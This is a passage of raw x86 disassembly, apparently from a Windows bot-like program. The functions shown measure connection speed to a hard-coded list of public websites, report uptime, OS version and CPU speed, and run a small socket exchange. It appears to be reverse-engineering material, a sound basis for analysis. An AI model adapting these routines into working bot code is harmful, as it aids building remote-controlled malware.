flt_427700 call sub_41CF04 loc_41AB75: ; CODE XREF: sub_41A9BC+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AB7A: ; CODE XREF: sub_41A9BC+147j push [ebp+var_4] call dword_4C939C push [ebp+var_8] call sub_41BA31 push esi call sub_41BA31 pop ecx pop ecx loc_41AB93: ; CODE XREF: sub_41A9BC+19j ; sub_41A9BC+42j ... xor eax, eax jmp short loc_41AB75 sub_41A9BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB97 proc near ; CODE XREF: sub_401AC7+2E2Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A9A2 push [ebp+eax*4+var_3C] call sub_41A9BC push 8 mov esi, eax call sub_41A9A2 push [ebp+eax*4+var_3C] call sub_41A9BC add esp, 10h test esi, esi jz short loc_41AC98 test eax, eax jz short loc_41AC94 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41AC9A ; --------------------------------------------------------------------------- loc_41AC94: ; CODE XREF: sub_41AB97+F4j mov ebx, esi jmp short loc_41AC9A ; --------------------------------------------------------------------------- loc_41AC98: ; CODE XREF: sub_41AB97+F0j mov ebx, eax loc_41AC9A: ; CODE XREF: sub_41AB97+FBj ; sub_41AB97+FFj push 0Ch call sub_41A9A2 push [ebp+eax*4+var_6C] call sub_41A9BC push 0Ch mov edi, eax call sub_41A9A2 push [ebp+eax*4+var_6C] call sub_41A9BC add esp, 10h test edi, edi jz short loc_41ACD2 test eax, eax jz short loc_41ACCE lea esi, [eax+edi] shr esi, 1 jmp short loc_41ACD4 ; --------------------------------------------------------------------------- loc_41ACCE: ; CODE XREF: sub_41AB97+12Ej mov esi, edi jmp short loc_41ACD4 ; --------------------------------------------------------------------------- loc_41ACD2: ; CODE XREF: sub_41AB97+12Aj mov esi, eax loc_41ACD4: ; CODE XREF: sub_41AB97+135j ; sub_41AB97+139j push 6 call sub_41A9A2 push [ebp+eax*4+var_1C] call sub_41A9BC push 6 mov edi, eax call sub_41A9A2 push [ebp+eax*4+var_1C] call sub_41A9BC add esp, 10h test edi, edi jz short loc_41AD0C test eax, eax jz short loc_41AD08 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD0E ; --------------------------------------------------------------------------- loc_41AD08: ; CODE XREF: sub_41AB97+168j mov ecx, edi jmp short loc_41AD0E ; --------------------------------------------------------------------------- loc_41AD0C: ; CODE XREF: sub_41AB97+164j mov ecx, eax loc_41AD0E: ; CODE XREF: sub_41AB97+16Fj ; sub_41AB97+173j xor eax, eax test ebx, ebx jz short loc_41AD1B mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD1E ; --------------------------------------------------------------------------- loc_41AD1B: ; CODE XREF: sub_41AB97+17Bj push 2 pop edi loc_41AD1E: ; CODE XREF: sub_41AB97+182j test esi, esi jz short loc_41AD26 add eax, esi jmp short loc_41AD27 ; --------------------------------------------------------------------------- loc_41AD26: ; CODE XREF: sub_41AB97+189j dec edi loc_41AD27: ; CODE XREF: sub_41AB97+18Dj test ecx, ecx jz short loc_41AD2F add eax, ecx jmp short loc_41AD30 ; --------------------------------------------------------------------------- loc_41AD2F: ; CODE XREF: sub_41AB97+192j dec edi loc_41AD30: ; CODE XREF: sub_41AB97+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A1B8 push eax call sub_41C006 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_26C] push eax call sub_415CEE add esp, 30h pop edi pop esi pop ebx leave retn sub_41AB97 endp ; =============== S U B R O U T I N E ======================================= sub_41AD74 proc near ; CODE XREF: sub_401AC7+2565p ; sub_401AC7+29B3p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26A06B3h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4D95D0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C100 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AD74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADDD proc near ; CODE XREF: sub_417269+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26E04B4h test eax, eax jz short loc_41AE70 cmp [ebp+var_90], 4 jnz short loc_41AE46 cmp [ebp+var_8C], esi jnz short loc_41AE2E cmp [ebp+var_84], 1 jnz short loc_41AE21 push 1 pop esi loc_41AE21: ; CODE XREF: sub_41ADDD+3Fj cmp [ebp+var_84], 2 jnz short loc_41AE70 push 1 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE2E: ; CODE XREF: sub_41ADDD+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE3B loc_41AE37: ; CODE XREF: sub_41ADDD+78j push 2 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE3B: ; CODE XREF: sub_41ADDD+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AE70 jmp short loc_41AE60 ; --------------------------------------------------------------------------- loc_41AE46: ; CODE XREF: sub_41ADDD+2Ej cmp [ebp+var_90], 5 jnz short loc_41AE70 cmp [ebp+var_8C], esi jz short loc_41AE37 cmp [ebp+var_8C], 1 jnz short loc_41AE64 loc_41AE60: ; CODE XREF: sub_41ADDD+67j push 3 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE64: ; CODE XREF: sub_41ADDD+81j cmp [ebp+var_8C], 2 jnz short loc_41AE70 push 7 loc_41AE6F: ; CODE XREF: sub_41ADDD+4Fj ; sub_41ADDD+5Cj ... pop esi loc_41AE70: ; CODE XREF: sub_41ADDD+25j ; sub_41ADDD+4Bj ... mov eax, esi pop esi leave retn sub_41ADDD endp ; =============== S U B R O U T I N E ======================================= sub_41AE75 proc near ; CODE XREF: sub_41AF2B+290p push ebx push esi push edi mov esi, 0F4240h loc_41AE7D: ; CODE XREF: sub_41AE75+2Fj ; sub_41AE75+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2690000h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DBB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AE7D jb short loc_41AEAC cmp ebx, esi ja short loc_41AE7D loc_41AEAC: ; CODE XREF: sub_41AE75+31j push 0 push 64h push edi push ebx call sub_41DC20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF1F jb short loc_41AECB cmp esi, 50h jnb short loc_41AED0 loc_41AECB: ; CODE XREF: sub_41AE75+4Fj push 4Bh xor edx, edx pop eax loc_41AED0: ; CODE XREF: sub_41AE75+54j test ecx, ecx ja short loc_41AF1F jb short loc_41AEDB cmp esi, 47h jnb short loc_41AEE0 loc_41AEDB: ; CODE XREF: sub_41AE75+5Fj push 42h xor edx, edx pop eax loc_41AEE0: ; CODE XREF: sub_41AE75+64j test ecx, ecx ja short loc_41AF1F jb short loc_41AEEB cmp esi, 37h jnb short loc_41AEF0 loc_41AEEB: ; CODE XREF: sub_41AE75+6Fj push 32h xor edx, edx pop eax loc_41AEF0: ; CODE XREF: sub_41AE75+74j test ecx, ecx ja short loc_41AF1F jb short loc_41AEFB cmp esi, 26h jnb short loc_41AF00 loc_41AEFB: ; CODE XREF: sub_41AE75+7Fj push 21h xor edx, edx pop eax loc_41AF00: ; CODE XREF: sub_41AE75+84j test ecx, ecx ja short loc_41AF1F jb short loc_41AF0B cmp esi, 1Eh jnb short loc_41AF10 loc_41AF0B: ; CODE XREF: sub_41AE75+8Fj push 19h xor edx, edx pop eax loc_41AF10: ; CODE XREF: sub_41AE75+94j test ecx, ecx ja short loc_41AF1F jb short loc_41AF1B cmp esi, 0Ah jnb short loc_41AF1F loc_41AF1B: ; CODE XREF: sub_41AE75+9Fj xor eax, eax xor edx, edx loc_41AF1F: ; CODE XREF: sub_41AE75+4Dj ; sub_41AE75+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF2B proc near ; CODE XREF: sub_401AC7+2711p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43B4B8 mov [ebp+var_CC], 94h nop call near ptr 26E04B4h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AFB2 cmp [ebp+var_C4], ebx jnz short loc_41AF8E cmp [ebp+var_BC], 1 jnz short loc_41AF78 mov [ebp+var_4], offset dword_431630 loc_41AF78: ; CODE XREF: sub_41AF2B+44j cmp [ebp+var_BC], 2 jnz loc_41B02D mov [ebp+var_4], offset dword_43162C jmp short loc_41AFFE ; --------------------------------------------------------------------------- loc_41AF8E: ; CODE XREF: sub_41AF2B+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AFA0 mov [ebp+var_4], offset dword_431628 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFA0: ; CODE XREF: sub_41AF2B+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AFEE mov [ebp+var_4], offset dword_431624 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFB2: ; CODE XREF: sub_41AF2B+33j cmp [ebp+var_C8], 5 jnz short loc_41AFEE cmp [ebp+var_C4], ebx jnz short loc_41AFCC mov [ebp+var_4], offset dword_431620 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFCC: ; CODE XREF: sub_41AF2B+96j cmp [ebp+var_C4], 1 jnz short loc_41AFDE mov [ebp+var_4], offset dword_43161C jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFDE: ; CODE XREF: sub_41AF2B+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AFF5 loc_41AFEE: ; CODE XREF: sub_41AF2B+7Cj ; sub_41AF2B+8Ej mov [ebp+var_4], offset dword_431614 loc_41AFF5: ; CODE XREF: sub_41AF2B+73j ; sub_41AF2B+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B02D loc_41AFFE: ; CODE XREF: sub_41AF2B+61j cmp [ebp+var_B8], bl jz short loc_41B02D lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_4363DC push eax call sub_41C006 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B02D: ; CODE XREF: sub_41AF2B+54j ; sub_41AF2B+D1j ... mov ax, word_437BD4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4C91E4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B066 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B066: ; CODE XREF: sub_41AF2B+12Cj push [ebp+arg_4] call sub_40A9FA pop ecx push eax call dword_4C9344 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4C92BC cmp eax, ebx jz short loc_41B08F push dword ptr [eax] jmp short loc_41B094 ; --------------------------------------------------------------------------- loc_41B08F: ; CODE XREF: sub_41AF2B+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B094: ; CODE XREF: sub_41AF2B+162j lea eax, [ebp+var_3E4] push eax call sub_41C006 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 2680B09h nop lea eax, [ebp+var_114] push 46h push eax push offset dword_43A4A0 push ebx mov esi, 409h push ebx push esi call near ptr 2760000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 27514C6h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2860000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C151 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416D8D push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41AD74 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A9FA pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416C7D pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416C7D pop ecx pop ecx push eax call sub_41AE75 push edx push eax push offset dword_43A3C4 push 200h push [ebp+arg_0] call sub_41C100 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1DF proc near ; CODE XREF: sub_401AC7+273Fp ; sub_401AC7+71F4p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BD10 add esp, 0Ch cmp dword_4C93EC, 0 jnz short loc_41B253 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4C91C8 test eax, eax jnz short loc_41B234 lea eax, [ebp+var_8C] push offset dword_43A518 push eax call sub_41C006 pop ecx pop ecx loc_41B234: ; CODE XREF: sub_41B1DF+40j test [ebp+var_C], 1 jz short loc_41B24C push offset dword_43A510 loc_41B23F: ; CODE XREF: sub_41B1DF+72j lea eax, [ebp+var_8] push eax call sub_41C006 pop ecx pop ecx jmp short loc_41B272 ; --------------------------------------------------------------------------- loc_41B24C: ; CODE XREF: sub_41B1DF+59j push offset off_43A50C jmp short loc_41B23F ; --------------------------------------------------------------------------- loc_41B253: ; CODE XREF: sub_41B1DF+28j mov esi, offset off_43A508 lea eax, [ebp+var_8] push esi push eax call sub_41C006 lea eax, [ebp+var_8C] push esi push eax call sub_41C006 add esp, 10h loc_41B272: ; CODE XREF: sub_41B1DF+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A9FA pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A4C4 push 200h push [ebp+arg_0] call sub_41C100 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B1DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2A5 proc near ; DATA XREF: sub_401AC7+75A0o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A5F8 call sub_41BD10 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BD10 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BD10 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BD10 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BD10 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B960 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4C9200 test eax, eax jz loc_41B43F cmp [ebp+var_34], ebx jbe short loc_41B37C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BD70 add esp, 0Ch loc_41B37C: ; CODE XREF: sub_41B2A5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B39A push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BD70 add esp, 0Ch loc_41B39A: ; CODE XREF: sub_41B2A5+DEj cmp [ebp+var_20], ebx jbe short loc_41B3B4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BD70 add esp, 0Ch loc_41B3B4: ; CODE XREF: sub_41B2A5+F8j cmp [ebp+var_18], ebx jbe short loc_41B3CE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BD70 add esp, 0Ch loc_41B3CE: ; CODE XREF: sub_41B2A5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4C92B4 call dword_4C92D8 mov esi, eax cmp esi, ebx jz short loc_41B457 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4C92CC cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B45E push ebx push ebx push ebx push ebx push eax call dword_4C9278 test eax, eax jz short loc_41B438 push offset dword_43A5DC jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B438: ; CODE XREF: sub_41B2A5+18Aj push offset unk_43A5A0 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B43F: ; CODE XREF: sub_41B2A5+B7j lea eax, [ebp+var_55C] push offset dword_43A584 push eax call sub_41C006 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B471 ; --------------------------------------------------------------------------- loc_41B457: ; CODE XREF: sub_41B2A5+153j push offset unk_43A558 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B45E: ; CODE XREF: sub_41B2A5+17Bj push offset unk_43A528 loc_41B463: ; CODE XREF: sub_41B2A5+191j ; sub_41B2A5+198j ... lea eax, [ebp+var_55C] push eax call sub_41C006 pop ecx pop ecx loc_41B471: ; CODE XREF: sub_41B2A5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B49C push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409862 add esp, 14h loc_41B49C: ; CODE XREF: sub_41B2A5+1D2j lea eax, [ebp+var_55C] push eax call sub_415CEE pop ecx push esi call dword_4C9338 push [ebp+var_4] call dword_4C9338 push [ebp+var_1D8] call sub_40B6C9 pop ecx push ebx call near ptr 26F0000h nop pop edi pop esi pop ebx sub_41B2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B4CF proc near ; CODE XREF: sub_401AC7+4FA4p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4D960C push 0 push esi call sub_41BD10 push [esp+10h+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C100 add esp, 1Ch pop esi retn sub_41B4CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4FB proc near ; CODE XREF: ___:0041B7E3p ; ___:0041B800p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4CC030 lea edi, [ebp+var_C] mov ax, word_43A5FC movsd movsb mov esi, offset dword_4D970C lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_433ED8 movsd mov [ebp+var_6], ax mov ax, word_4C91BC movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B5C7 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B54D: ; CODE XREF: sub_41B4FB+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B56D dec eax jnz short loc_41B5BB push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B581 ; --------------------------------------------------------------------------- loc_41B56D: ; CODE XREF: sub_41B4FB+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_6] loc_41B581: ; CODE XREF: sub_41B4FB+70j push eax push edi call dword_4C9354 push ebx call sub_41B960 pop ecx cmp eax, 2 push esi jnz short loc_41B59D push 4 lea eax, [ebp+var_C] jmp short loc_41B5A2 ; --------------------------------------------------------------------------- loc_41B59D: ; CODE XREF: sub_41B4FB+99j push 5 lea eax, [ebp+var_14] loc_41B5A2: ; CODE XREF: sub_41B4FB+A0j push eax push edi call dword_4C9354 push esi push ebx call sub_41B960 pop ecx push eax push ebx push edi call dword_4C9354 loc_41B5BB: ; CODE XREF: sub_41B4FB+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B54D pop ebx jmp short loc_41B63D ; --------------------------------------------------------------------------- loc_41B5C7: ; CODE XREF: sub_41B4FB+42j dec eax jz short loc_41B5E6 dec eax jnz short loc_41B63D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5FD ; --------------------------------------------------------------------------- loc_41B5E6: ; CODE XREF: sub_41B4FB+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_6] loc_41B5FD: ; CODE XREF: sub_41B4FB+E9j push eax push edi call dword_4C9354 push [ebp+arg_4] call sub_41B960 pop ecx cmp eax, 2 push esi jnz short loc_41B61B push 4 lea eax, [ebp+var_C] jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B61B: ; CODE XREF: sub_41B4FB+117j push 5 lea eax, [ebp+var_14] loc_41B620: ; CODE XREF: sub_41B4FB+11Ej push eax push edi call dword_4C9354 push esi push [ebp+arg_4] call sub_41B960 pop ecx push eax push [ebp+arg_4] push edi call dword_4C9354 loc_41B63D: ; CODE XREF: sub_41B4FB+CAj ; sub_41B4FB+D0j pop edi pop esi leave retn sub_41B4FB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43A614 lea edi, [ebp-38h] mov ax, word_433ED8 movsd movsd movsd movsb mov esi, offset dword_43A610 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4CC030 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43A60C lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43A608 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43A604 lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B6C4 push eax call dword_4C939C loc_41B6C4: ; CODE XREF: ___:0041B6BBj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4C9344 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4C9304 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4C92AC test eax, eax jnz loc_41B7C0 loc_41B6FC: ; CODE XREF: ___:0041B76Ej ; ___:0041B7A5j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4C931C cmp eax, esi jle loc_41B7CE cmp eax, 0FFFFFFFFh jz loc_41B7CE mov eax, edi sub eax, esi jz short loc_41B770 dec eax jz short loc_41B73E dec eax jz short loc_41B7AA jmp short loc_41B7A0 ; --------------------------------------------------------------------------- loc_41B73E: ; CODE XREF: ___:0041B737j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41B7C0 lea eax, [ebp-6] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4C9354 push 2 pop edi jmp short loc_41B6FC ; --------------------------------------------------------------------------- loc_41B770: ; CODE XREF: ___:0041B734j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41B7C0 lea eax, [ebp-38h] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4C9354 push 1 pop edi loc_41B7A0: ; CODE XREF: ___:0041B73Cj cmp edi, 3 jz short loc_41B7CE jmp loc_41B6FC ; --------------------------------------------------------------------------- loc_41B7AA: ; CODE XREF: ___:0041B73Aj lea 